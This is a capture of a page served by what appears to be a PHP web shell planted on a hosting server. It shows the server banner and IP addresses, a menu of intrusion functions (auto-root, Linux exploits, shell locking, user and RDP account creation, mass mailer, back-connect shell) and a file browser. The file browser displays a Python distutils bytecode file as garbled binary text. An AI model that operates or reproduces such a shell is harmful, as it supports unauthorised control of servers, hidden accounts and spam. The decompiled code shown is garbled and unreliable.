Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.17.28
138 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
distutils /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
621
B
-rw-r--r--
_msvccompiler.cpython-310.pyc
12.53
KB
-rw-r--r--
archive_util.cpython-310.pyc
6.36
KB
-rw-r--r--
bcppcompiler.cpython-310.pyc
6.34
KB
-rw-r--r--
ccompiler.cpython-310.pyc
32.27
KB
-rw-r--r--
cmd.cpython-310.pyc
13.57
KB
-rw-r--r--
config.cpython-310.pyc
3.45
KB
-rw-r--r--
core.cpython-310.pyc
6.45
KB
-rw-r--r--
cygwinccompiler.cpython-310.py...
8.26
KB
-rw-r--r--
debug.cpython-310.pyc
197
B
-rw-r--r--
dep_util.cpython-310.pyc
2.65
KB
-rw-r--r--
dir_util.cpython-310.pyc
6.02
KB
-rw-r--r--
dist.cpython-310.pyc
33.15
KB
-rw-r--r--
errors.cpython-310.pyc
4.82
KB
-rw-r--r--
extension.cpython-310.pyc
6.81
KB
-rw-r--r--
fancy_getopt.cpython-310.pyc
10.33
KB
-rw-r--r--
file_util.cpython-310.pyc
5.78
KB
-rw-r--r--
filelist.cpython-310.pyc
9.6
KB
-rw-r--r--
log.cpython-310.pyc
2.2
KB
-rw-r--r--
msvc9compiler.cpython-310.pyc
17.1
KB
-rw-r--r--
msvccompiler.cpython-310.pyc
14.38
KB
-rw-r--r--
spawn.cpython-310.pyc
3.33
KB
-rw-r--r--
sysconfig.cpython-310.pyc
7.59
KB
-rw-r--r--
text_file.cpython-310.pyc
8.22
KB
-rw-r--r--
unixccompiler.cpython-310.pyc
7.04
KB
-rw-r--r--
util.cpython-310.pyc
15.27
KB
-rw-r--r--
version.cpython-310.pyc
7.13
KB
-rw-r--r--
versionpredicate.cpython-310.p...
5.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : versionpredicate.cpython-310.pyc
o ��bc � @ s� d Z ddlZddlZddlZe�dej�Ze�d�Ze�d�Z dd� Z ejejej ejejejd�ZG d d � d �Zdadd� ZdS ) zBModule for parsing and testing package version predicate strings. � Nz'(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)z^\s*\((.*)\)\s*$z%^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$c C s6 t �| �}|s td| ��|�� \}}|tj�|�fS )zVParse a single version comparison. Return (comparison string, StrictVersion) z"bad package restriction syntax: %r)�re_splitComparison�match� ValueError�groups� distutils�version� StrictVersion)�pred�res�comp�verStr� r �1/usr/lib/python3.10/distutils/versionpredicate.py�splitUp s r )�<z<=z==�>z>=z!=c @ s( e Zd ZdZdd� Zdd� Zdd� ZdS ) �VersionPredicatea� Parse and test package version predicates. >>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)') The `name` attribute provides the full dotted name that is given:: >>> v.name 'pyepat.abc' The str() of a `VersionPredicate` provides a normalized human-readable version of the expression:: >>> print(v) pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3) The `satisfied_by()` method can be used to determine with a given version number is included in the set described by the version restrictions:: >>> v.satisfied_by('1.1') True >>> v.satisfied_by('1.4') True >>> v.satisfied_by('1.0') False >>> v.satisfied_by('4444.4') False >>> v.satisfied_by('1555.1b3') False `VersionPredicate` is flexible in accepting extra whitespace:: >>> v = VersionPredicate(' pat( == 0.1 ) ') >>> v.name 'pat' >>> v.satisfied_by('0.1') True >>> v.satisfied_by('0.2') False If any version numbers passed in do not conform to the restrictions of `StrictVersion`, a `ValueError` is raised:: >>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)') Traceback (most recent call last): ... ValueError: invalid version number '1.2zb3' It the module or package name given does not conform to what's allowed as a legal module or package name, `ValueError` is raised:: >>> v = VersionPredicate('foo-bar') Traceback (most recent call last): ... ValueError: expected parenthesized list: '-bar' >>> v = VersionPredicate('foo bar (12.21)') Traceback (most recent call last): ... ValueError: expected parenthesized list: 'bar (12.21)' c C s� |� � }|s td��t�|�}|std| ��|�� \| _}|� � }|rMt�|�}|s1td| ��|�� d }dd� |�d�D �| _| jsKtd| ��d S g | _d S ) z*Parse a version predicate string. zempty package restrictionzbad package name in %rzexpected parenthesized list: %rr c S s g | ]}t |��qS r )r )�.0�aPredr r r � <listcomp>t s z-VersionPredicate.__init__.<locals>.<listcomp>�,zempty parenthesized list in %rN) �stripr �re_validPackager r �name�re_paren�splitr )�self�versionPredicateStrr �paren�strr r r �__init__` s( �� zVersionPredicate.__init__c C s4 | j rdd� | j D �}| jd d�|� d S | jS )Nc S s g | ]\}}|d t |� �qS )� )r )r �cond�verr r r r } s z,VersionPredicate.__str__.<locals>.<listcomp>z (z, �))r r �join)r �seqr r r �__str__{ s zVersionPredicate.__str__c C s( | j D ]\}}t| ||�s dS qdS )z�True if version is compatible with all the predicates in self. The parameter version must be acceptable to the StrictVersion constructor. It may be either a string or StrictVersion. FT)r �compmap)r r r"